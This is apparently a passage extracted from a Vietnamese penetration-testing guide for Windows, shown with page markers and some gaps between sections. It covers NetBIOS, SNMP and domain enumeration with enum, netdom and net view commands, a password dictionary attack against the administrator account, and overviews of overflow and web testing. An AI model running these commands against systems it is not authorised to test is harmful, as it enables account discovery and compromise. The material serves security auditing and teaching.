WinLogon: Là quá trình đăng nhập Nó có trách nhiệm phối hợp và cung cấp giao diện tương tác đăng nhập/ đăng xuất Hơn nữa, nó quản lý máy tính để bàn Winlogon đăng ký chính nó với Win32, trong quá trình khởi tạo hệ thống là quá trình đăng nhập
Win32: là hệ thống windows API 32 bít có sẵn các chương trình ứng dụng Ngoài ra nó cung cấp giao diện người dùng đồ họa và điều khiển tất cả các đầu vào người sử dụng và đầu ra Chỉ có hai đối tượng được xuất ra từ máy chủ này, máy trạm window, tức là người sử dụng đầu vào/đầu
ra hệ thống(chuột, bàn phím và màn hình ), và một đối tượng Desktop
Trang 19LSA(local Security Authority): Trách nhiệm chính của nó là trung tâm về an ninh Nó đóng một phần quan trong trong quá trình đăng nhập, và sự kiện bảo mật quá trình như duy trì chính sách bảo mật của hệ thống địa phương Chính sách bảo mật thực hiện bởi cơ sở dữ liệu chính sách an ninh địa phương mà giữ thông tin trên lĩnh vực đáng tin cậy, đặc quyền và quyền truy cập cho người dùng và nhóm người sử dụng, các sự kiện an ninh Cơ sở dữ liệu này được quản lý bởi LSA và truy cập thông qua LSA.
SAM(Security Accounts Manager): Chịu trách nhiệm về quản lý thông tin về tài khoản cho người dùng và nhóm người sử dụng hoặc tại địa phương, miền diện rộng phụ thuộc vào vai trò của nó Nó cung cấp hỗ trợ cho gói xác thực An toàn tài khoản được lưu trữ như sub-object trong cơ sở dữ liệu bên trong thanh registry Cơ sở dữ liệu này được truy cập và quản lý bởi SAM
2.5 Mục đích
Xem hệ thống windows NT/200 từ mắt kẻ tấn công và sử dụng công cụ của chúng
2.6 Mục tiêu
+ Hiểu biết về các vấn đề bảo mật windows
+ Tiếp cận có cấu trúc cho sự thâm nhập hệ thống Windows/ kiểm toán
+ Đạt được truy cập và các điều khoản đặc quyề
+ Ngoài ra sự lan rộng các cuộc tấn công hơn nữa
2.7 Dự kiến kết quả
+ Danh sách các máy chủ trực tiếp
+ Quy trình chạy trên máy
+ Danh sách người dụng/ chia sẻ
+ Phiên bản nhân sử dụng trong hệ thống hệ điều hành và mức độ bản vá
+ Nhà cung cấp hệ thống hệ điều hành
+ Danh sách các lỗ hổng
+ Danh sách các máy bị chiếm quyền
2.8 Thụ động thu thập thông tin
Đặt thông tin thu thập từ các nguồn công khai Có rất nhiều các trang web mà biên dịch nhiều thông tin hợp lý, chúng ra hãy xem một số trong số chúng:
% This is the RIPE Whois secondary server
% The objects are in RPSL format
%
% Rights restricted by copyright
% See http://www.ripe.net/db/copyright.html
Trang 20address: 28, Montague Street
Trang 21Một chỉ số công cụ tìm kiếm rất nhiều các trang mạng và cho phép chức năng tìm kiếm tiên tiến
sẽ giúp trong công việc tìm kiếm của bạn
Điều kiện tiên quyết
Tên miền mục tiêu Tất cả các thông tin về mục tiêu, bạn có thể có được
Phân tích/kết luân / quan sát
Công cụ này là một trong những công cụ mạnh mẽ nhất để thu thập thông tin, nếu bạn muốn tấn công một mục tiêu bạn câng phải biết tất cả các thông tin cần thiết từ công cụ này Giai đoạn này
là rất quan trọng để có được dữ liệu tối đa có thể và bạn có thể dành nhiều thời gian chó nó có thể là thông tin thu thập được trong giai đoạn này và nó sẽ rất hữu ích trong các cuộc tấn công
Công cụ hỗ trợ
http://www.google.com
http://www.yahoo.com
http://www.dogpile.com (very useful for cumulative search)
http://www.kartoo.com (useful in visualizing the links )
2.9 Thu thập thông tin chủ động
Thu thập thông tin chủ động chính là quá trình thu thập trực tiếp những thông tin sát với hệ thống hơn như là địa chỉ IP, domain, Ngoài ra, có thể nhận diện trực tiếp các tài khoản người dùng, các tài nguyên chia sẻ, các chính sách hệ thống trên hệ thống …
Bạn có thể thu thập thông tin theo các bước sau
+ Danh sách tên Netbios
+ Danh sách phiên Netbios
+ Danh sách MIB
+ SNMPwalk
+ SNMPget
b Xác định các trình duyệt chủ
Trang 22c Xác định các tên miền trên mạng
d Xác định tên miền điều khiển
e Xác định tên miền máy chủ
f Xem tên miền thành viên
2.9.1 Xác định người sử dụng
Mô tả
Nếu các máy tính mục tiêu là một danh sách người sử dụng DC sẽ là danh sách người sử dụng toàn bộ miền, nhưng nếu mục tiêu là một máy độc lập, bạn chỉ có thể có được một danh sách người sử dụng
Điều kiện tiên quyết
Cổng 135/TCP tới 139/TCP hoặc 445/TCP được truy cập Máy đích có dịch vụ máy chủ bắt đầu làm việc
Từng bước thực hiện
Chạy enum với các cờ sau
C:>enum –UMNSPGL target_ip
For Each oADobject In oDomain
WScript.Echo oADobject.Name & vbTab & oADobject.FullName & vbTab &
oADobject.Description & _
vbTab & oADobject.HomeDirDrive & vbTab &
oADobject.HomeDirectory
Next
Phân tích / kết luận / quan sát
Một kẻ tấn công có thể chứa tài khoản máy chủ và có thể sử dụng kỹ thuật tấn công mật khẩu để
dự đoán mật khẩu của tài khoản
Các thư mục chia sẻ có thể được ẩn(thêm một $ vào cuối của tên chia sẻ) hoặc có thể nhìn thấy
Điều kiện tiên quyết
Cổng 135/TCP và 139/TCP hoặc 445/TCP phải được truy cập tới máy mục tiêu và phải có dịch
vụ máy chủ bắt đầu làm việc
Ví dụ/kết quả
Sử dụng “Netview” để xem các chia sẻ được nhìn thấy
Trang 23C:\>net view \\workstation
Sử dụng “Enum.exe” để xem chia sẻ nhìn thấy hoặc ẩn
C:\>enum -S workstation
server: workstation
setting up session success
enumerating shares (pass 1) got 10 shares, 0 left:
IPC$ print$ EPSONSty Mi música
Các chính sách an ninh windows có thẻ thu được
Điều kiện tiên quyết
Cổng 135/TCP và 139/TCP hoặc 445/TCP phải được truy cập tới máy mục tiêu và phải có dịch
vụ máy chủ bắt đầu làm việc
min length: none
min age: none
max age: 42 days
lockout threshold: none
lockout duration: 30 mins
lockout reset: 30 mins
cleaning up success.
Phân tích/ kết luận/ quan sát
Kẻ tấn công có thể có được các chính sách mật khẩu máy chủ
Trang 24Cổng 161/udp có thể được truy cập máy mục tiêu đã có dịch vụ SNMP bắt đầu và đang làm việc.
Phân tích/ kết luận/ quan sát
Kẻ tấn công có thể thu thập thông tin hữu ích từ máy chủ
Biện pháp đối phó
Hạn chế truy cập đến cổng 161 UDP Thực thi các chính sách mật khẩu SNMP
2.9.5 Xác định tên miền trên mạng
Mô tả
Có thể có nhiều hơn một miền, có thể đạt được trên cùng một mạng vì có mối quan hệ tin cậy giữa hai hoạc nhiều lĩnh vực trong cùng một bộ điều khiển tên miền
Điều kiện tiên quyết
Cổng 135/TCP và 139/TCP hoặc 445/TCP có thể được truy cập máy mụch tiêu và có dịch vụ trình duyệt bắt đầu và đang làm việc
Từng bước thực hiện
Truy vấn NetBios được biết như tên miền đầu tiên sử dụng netdom.exe(từ công cụ hỗ trợ) vào danh sách bất cứ điều gì bạn muốn
Phân tích/ kết luận/ quan sát
Kẻ tấn công có thể có được mối quan hệ miền tin cậy và có thể sử dụng tất cả miền tin cậy cho
dữ liệu hợp lý hơn
2.9.6 Xác định miền điều khiển
Mô tả
Bạn có thể xem tất cả bộ điều khiển quản lý tên miền, có thể được bảo vệ với nỗ lực khác nhau
Điều kiện tiên quyết
Cổng 135/TCP và 139/TCP hoặc 445/TCP có thể được truy cập
netdom query /domain:domain dc
netdom query /domain:domain pdc
netdom query /domain:domain fsmo
Phân tích/ kết luận/ quan sát
Kẻ tấn công có thể có được tất cả bộ điều khiển tên miền có thể sử dụng nó để có được dữ liệu hợp lý hơn
Biện pháp đối phó
Hạn chế truy cập tới cổng công cộng 135-139 và 445
2.9.7 Xác đinh tên miền của máy chủ
Mô tả
Bạn có thể xem danh sách các máy trạm hoặc hoặc các máy chủ của dải tên miền
Điều kiện tiên quyết
Các cổng 135/TCP và 139/TCP hoặc 445/TCP có thể có được
Từng bước thực hiện
Truy vấn NetBios để biết tên miền đầu tiên sử dụng netdom.exe(từ công cụ hỗ trợ) đưa vào danh sách bạn muốn
Trang 25Ví dụ/ kết quả
Sử dụng netdom.exe
netdom query /domain:domain workstation
netdom query /domain:domain server
netdom query /domain:domain ou
Phân tích/ kết luận/ quan sát
Kẻ tấn công có thể có được tất cả các bộ điều khiển tên miền, có thể sử dụng dữ liệu hợp lý hơn
Phân tích/ kết luận/ quan sát
Kẻ tấn công liệt kê các máy chủ trực tiếp trong mạng
2.11 Liệt kê tấn công
2.11.1 Duyệt danh sách
+ Xác định trình duyệt chủ
+ Xác định tên miền trên mạng
+ Xác định miền điều khiển
Local Area Connection:
Node IpAddress: [192.168.0.10] Scope Id: []
NetBIOS Remote Machine Name Table
Name Type Status
-
MITHU <00> UNIQUE Registered
MITHU <20> UNIQUE Registered
MITHU <03> UNIQUE Registered
WORKGROUP <00> GROUP Registered
WORKGROUP <1E> GROUP Registered
BALWANT <03> UNIQUE Registered
MAC Address = 00-0B-2B-0E-2B-AF
2.11.3 Xác định tên miền trên mạng
Mô tả
Trang 26Xác định tên miền trên mạng
Từng bước thực hiện
Chạy với tùy chọn tên miền
Ví dụ/ kết quả
C:\>net view /domain
2.12 Kiểm tra hệ thống windows
Nhằm kiểm tra hệ thống có dễ bị tấn công Remote Attack hay không?
Quy trình kiểm tra
Bước 1: Thu thập danh sách tài khoản người dùng như ở phần thu thập thông tin
Bước 2: Sử dụng công cụ để tấn công theo kiểu từ điển (Dictionary Attack) hoặc tổ hợp các ký tự (Brute force Attack) với danh sách các tài khoản đó
enum -u administrator -D -f test.txt 10.1.2.3
Với administrator là tên tài khoản và test.txt là tập tin chứa mật khẩu
Công cụ kiểm tra
Khi tìm được mật khẩu của tài khoản có quyền quản trị, kẻ tấn công sẽ toàn quyền với máy đích
Trang 27Mục đích kiểm tra
Nhằm kiểm tra hệ thống có khả năng bị password attack hay không?
Quy trình kiểm tra
Kẻ tấn công cũng sử dụng các phần mềm Sniffer để bắt các gói tin chứa tài khoản (username) và mật khẩu (password) được truyền đi trong hệ thống mạng Sau đó sử dụng công
cụ để giải mã và thu được mật khẩu thông thường
Ảnh hưởng của việc bị chiếm mất quyền quản trị tùy thuộc hoàn toàn vào mức độ quan trọng của dữ liệu và các ứng dụng trong hệ thống
Công cụ kiểm tra
+ Stack based Overflows
+ Heap based Overflows
+ Integer Overflows
Stack based Overflows: Là một kiểu tràn bộ đệm, nhưng ở đây lỗi tràn bộ đệm xảy ra ở
ngăn xếp (Stack)
Heap based Overflows: Là một kiểu tràn bộ đệm, xảy ở bộ nhớ heap Bộ nhớ heap được
cấp phát động bởi các ứng dụng tại thời gian chạy và thường chứa dữ liệu của chương trình
Integer Overflows: Là một kiểu tràn bộ đệm, sảy ra khi kết quả của một phép toán vượt
quá giới hạn số nguyên Khác với loại tràn stack (stack-based) và loại tràn heap (heap-based), loại tràn số nguyên (integer overflow) không ghi đè lên vùng nhớ nhưng khả năng ảnh hưởng cũng rất lớn
Trang 28Mục đích kiểm tra
Nhằm xác định nguyên nhân có thể gây lỗi tràn bộ đệm (stack, heap, interger)
Quy trình kiểm tra
+ Rà soát mã (code) của các ứng dụng (nếu ứng dụng tự viết)
+ Nhập dữ liệu đầu vào với kích thước lớn và xem phản ứng của hệ thống
+ Kiểm tra các dịch vụ có nguy cơ gây ra tràn bộ đệm hay không
+ Kiểm tra khả năng thực thi Stack
Tuy nhiên, vấn đề này chủ yếu xãy ra trên ứng dụng nên trong quá trình phát triển ứng dụng cần chú ý đến
2.12.4 Tấn công kiểu dữ liệu
Mô tả
Đây là kiểu tấn công đã xuất hiện từ rất sớm, hiện nay chỉ còn gặp rất ít Kiểu tấn công này xuất hiện khi khai báo không đúng hoặc thiếu về kiểu dữ liệu trong chương trình
Mục đích kiểm tra
Nhằm xác định hệ thống có xuất hiện lỗi này hay không?
Quy trình kiểm tra
Nhập dữ liệu đầu vào ở các dạng đặc biệt (%s, %x…), xem ứng xử của hệ thống đối với các loại dữ liệu đặc biệt này
2.12.5 Tấn công web
Mô tả
Ngày nay ứng dụng web đã trở nên phổ biến hơn bao giờ hết Các ứng dụng web thường chạy trên cổng 80, đây cũng là nơi xuất hiện nhiều lỗi bảo mật nhất Nếu hệ thống server chạy các ứng dụng web không được cấu hình an toàn thì sẽ xuất hiện các nguy cơ về bảo mật Vì vậy quá trình cấu hình, cài đặt một hệ thống máy chủ chạy ứng dụng web đảm bảo đúng các yêu cầu
về an toàn là cần thiết
Mục đích kiểm tra
Nhằm kiểm tra mức độ bảo mật của ứng dụng Web
Quy trình kiểm tra
Trang 29Sử dụng các công cụ quét toàn diện hệ thống website
Sử dụng các khuôn dạng (framework) có sẵn để tiến hành kiểm thử
Công cụ kiểm tra
Mail services là một trong những dịch vụ quan trọng của hệ thống Ngày nay, sử dụng dịch
vụ mail để trao đổi thông tin là nhu cầu không thể thiếu đối với cá nhân và doanh nghiệp Đi cùng với đó là các thách thức bảo mật dịch vụ mail cũng nhiều
Mục đích kiểm tra
Kiểm tra khả năng hệ thống có bị khai thác thông qua dich vụ mail hay không
Quy trình kiểm tra
+ Kiểm tra tấn công từ chối dịch vụ (DoS)
+ Kiểm tra khả năng bị gửi thư rác (spam)
+ Kiểm tra khả năng bảo vệ người dùng trước nguy cơ bị nhễm virus qua dịch vụ mail.+ Kiểm tra cách thức phân quyền sử dụng các dịch vụ mail
2.12.7 Tấn công NetBios
Mô tả
Dịch vụ NetBIOS được sử dụng rộng rãi để chia sẻ tập tin Tấn công vào dịch vụ này để liệt kê tài nguyên chia sẻ, tài khoản người dùng và có thể truy cập vào hệ thống Cổng quan trọng nhất cho NetBIOS là 139, nhưng cũng có thể chạy NetBIOS trên cổng 135-139 và 445
Mục đích kiểm tra
Nhằm kiểm tra hệ thống có bị tấn công NetBIOS hay không?
Quy trình kiểm tra
+ Liệt kê tài nguyên chia sẻ, tài khoản người dùng
+ Sử dụng DumpSec để liệt kê remote registry